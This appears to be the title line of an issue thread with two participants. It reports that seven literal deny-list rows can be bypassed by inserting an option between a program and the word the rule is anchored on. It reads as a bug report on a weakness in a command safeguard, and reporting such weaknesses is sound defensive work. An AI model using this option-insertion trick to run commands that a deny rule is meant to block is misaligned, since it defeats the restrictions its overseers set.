Seven literal deny rows are bypassed by an option between the program and its anchored word

2 participants